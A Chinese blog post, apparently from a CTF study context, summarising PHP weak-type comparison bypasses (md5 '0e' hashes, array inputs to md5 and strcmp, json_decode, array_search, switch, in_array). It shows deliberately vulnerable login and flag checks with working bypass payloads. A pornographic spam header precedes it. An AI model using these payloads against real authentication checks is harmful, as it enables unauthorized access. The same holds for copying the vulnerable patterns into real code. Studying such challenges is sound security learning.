日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

CTF——Web——php 弱类型总结

發布時間:2024/9/30 php 23 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CTF——Web——php 弱类型总结 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

php 弱類型總結

?

特別注意: md5(),? ? json_encode(),? ?array_search(),? strcmp(),? switch()? ,in_array()??這幾個容易涉及到php弱類型的函數


描述:php中有兩種比較的符號 == 與 ===
? ? ? ? ? === 在進行比較的時候,會先判斷兩種字符串的類型是否相等,再比較值是否相等

? ? ? ? ? == 在進行比較的時候,會先將字符串類型轉化成相同,再比較值
? ? ? ? ? 如果比較一個數字和字符串或者比較涉及到數字內容的字符串,則字符串會被轉換成數值并且比較按照數值來進行


漏洞關鍵:
當一個字符串欸當作一個數值來取值,其結果和類型如下:如果該字符串沒有包含'.','e','E'并且其數值值在整形的范圍之內
該字符串被當作int來取值,其他所有情況下都被作為float來取值,該字符串的開始部分決定了它的值,如果該字符串以合法的數值開始,則使用該數值,否則其值為0

?<?php 2 var_dump("admin"==0); ?//true 3 var_dump("1admin"==1); //true 4 var_dump("admin1"==1) //false 5 var_dump("admin1"==0) //true 6 var_dump("0e123456"=="0e4456789"); //true? 7 ?> ?//上述代碼可自行測試


1 觀察上述代碼,"admin"==0 比較的時候,會將admin轉化成數值,強制轉化,由于admin是字符串,轉化的結果是0自然和0相等
2 "1admin"==1 比較的時候會將1admin轉化成數值,結果為1,而“admin1“==1 卻等于錯誤,也就是"admin1"被轉化成了0,為什么呢??
3 "0e123456"=="0e456789"相互比較的時候,會將0e這類字符串識別為科學技術法的數字,0的無論多少次方都是零,所以相等

類型一 :md5 繞過{hash 比較缺陷}
?

1 <?php2 if (isset($_GET['Username']) && isset($_GET['password'])) {3 ? ? $logined = true;4 ? ? $Username = $_GET['Username'];5 ? ? $password = $_GET['password'];6?7 ? ? ?if (!ctype_alpha($Username)) {$logined = false;}8 ? ? ?if (!is_numeric($password) ) {$logined = false;}9 ? ? ?if (md5($Username) != md5($password)) {$logined = false;} 10 ? ? ?if ($logined){ 11 ? ? echo "successful"; 12 ? ? ? }else{ 13 ? ? ? ? ? ?echo "login failed!"; 14 ? ? ? ? } 15 ? ? } 16 ?>?

分析:題目大意是要輸入一個字符串和數字類型,并且他們的md5值相等,就可以成功執行下一步語句?

介紹一批md5開頭是0e的字符串 上文提到過,0e在比較的時候會將其視作為科學計數法,所以無論0e后面是什么,0的多少次方還是0。md5('240610708') == md5('QNKCDZO')成功繞過!

?

1 <?php2 include_once "flag.php";3 ini_set("display_errors", 0);4 $str = strstr($_SERVER['REQUEST_URI'], '?');5 $str = substr($str,1);6 $str = str_replace('key', ' ' ,$str);7 parse_str($str);8 echo md5($key1);9 echo md5($key2); 10 if(md5($key1) == md5($key2) && $key1 !== $key2){ 11 echo $flag."取得flag";} 12 ?>


分析:簡單解釋下代碼的含義,從URL中'?'后面截取首次獲得$str的值,然后截取$str中的第一個字符,返回剩余字符,用空格替換key,輸出key1和key2,且的key1和key2的md5值相等,key1的值不等于key2

繞過一:利用md5()函數無法處理數組,如果傳入的為數組,會返回NULL,所以兩個數組經過加密后得到的都是NULL,也就是相等的。
?? ?構造payload:?kkeyey1[]=a&kkeyey2[]=b

繞過二:可以構造:kkeyey1=QNKCDZO&kkeyey2=240610708


實戰 2: json 繞過

<?php if (isset($_POST['message'])) {$message = json_decode($_POST['message']);$key ="*********";if ($message->key == $key) {echo "flag";}?else {echo "fail";}}else{echo "~~~~";} ?>


分析:輸入一個json類型的字符串,json_decode函數解密成一個數組,判斷數組中key的值是否等于 $key的值,但是$key的值我們不知道,但是可以利用0=="admin"這種形式繞過

最終payload message={"key":0}

實戰 3 :array_search() 繞過

?1 <?php2 if(!is_array($_GET['test'])){exit();}3 $test=$_GET['test'];4 for($i=0;$i<count($test);$i++){5 ? ? if($test[$i]==="admin"){6 ? ? ? ? echo "error";7 ? ? ? ? exit();8 ? ? }9 ? ? $test[$i]=intval($test[$i]); 10 } 11 if(array_search("admin",$test)===0){ 12 ? ? echo "flag"; 13 } 14 else{ 15 ? ? echo "false"; 16 } 17 ?>

分析:上面是自己寫的一個,先判斷傳入的是不是數組,

然后循環遍歷數組中的每個值,并且數組中的每個鍵值不能和admin相等,

并且將每個值轉化為int類型,

再判斷傳入的數組是否有“admin”,有則返回flag

payload test=[0]可以繞過

array_search() 函數與 in_array() 一樣,在數組中查找一個鍵值。如果找到了該值,則返回匹配該元素所對應的鍵名。如果沒找到,則返回 false

原因:array_serch()? 在判斷數組里面有沒有 鍵值與? 字符串“admin”相等 的? ?用的是 ==? ,根據php弱類型,字符串admin 的值為 0? ,所以構造一個含有0索引位置的鍵值為0 的數組 test 就可以成功繞過

?

?

實戰 4 strcmp()繞過
?

1 <?php2 ? ? $password="***************"3 ? ? ?if(isset($_POST['password'])){4?5 ? ? ? ? if (strcmp($_POST['password'], $password) == 0) {6 ? ? ? ? ? ? echo "Right!!!login success";n7 ? ? ? ? ? ? exit();8 ? ? ? ? } else {9 ? ? ? ? ? ? echo "Wrong password.."; 10 ? ? ? ? } 11 ?>


分析:strcmp是比較兩個字符串,如果str1<str2 則返回值<0 ,如果str1大于str2返回>0 ,如果兩者相等 返回0

我們是不知道$password的值的,題目要求strcmp判斷的接受的值和$password必需相等,strcmp傳入的期望類型是字符串類型,如果傳入的是個數組會怎么樣呢

我們傳入 password[]=xxx 可以繞過 是因為函數接受到了不符合的類型,將發生錯誤,但是還是判斷其相等

payload: password[]=xxx

實戰 5:switch()繞過

?

1 <?php2 $a="4admin";3 switch ($a) {4 ? ? case 1:5 ? ? ? ? echo "fail1";6 ? ? ? ? break;7 ? ? case 2:8 ? ? ? ? echo "fail2";9 ? ? ? ? break; 10 ? ? case 3: 11 ? ? ? ? echo "fail3"; 12 ? ? ? ? break; 13 ? ? case 4: 14 ? ? ? ? echo "sucess"; ?//結果輸出success; 15 ? ? ? ? break; 16 ? ? default: 17 ? ? ? ? echo "failall"; 18 ? ? ? ? break; 19 } 20 ?>


分析 : 在進行switch 選擇時 $a會被強制轉換成整形進行對照
所以 令$a="4asdfs" =int(4)成功進行繞過

實戰6:in_array()函數


in_array() 的定義是 bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ),如果strict參數沒有提供,那么in_array就會使用松散比較來判斷 $needle 是否在 $haystack 中。當 $strict 的值為 true 時,in_array() 會比較 $needls 的類型和 $haystack 中的類型是否相同。如下:

$array = [0, 1, 2, '3']; in_array('abc', $array); # true in_array('1bc', $array); # true

實戰7: 成也布爾,敗也布爾;

成也布爾,敗也布爾‘,布爾類型的true跟任意字符串在‘==’下成立

?

?

?

?

?

?

?

?

總結

以上是生活随笔為你收集整理的CTF——Web——php 弱类型总结的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。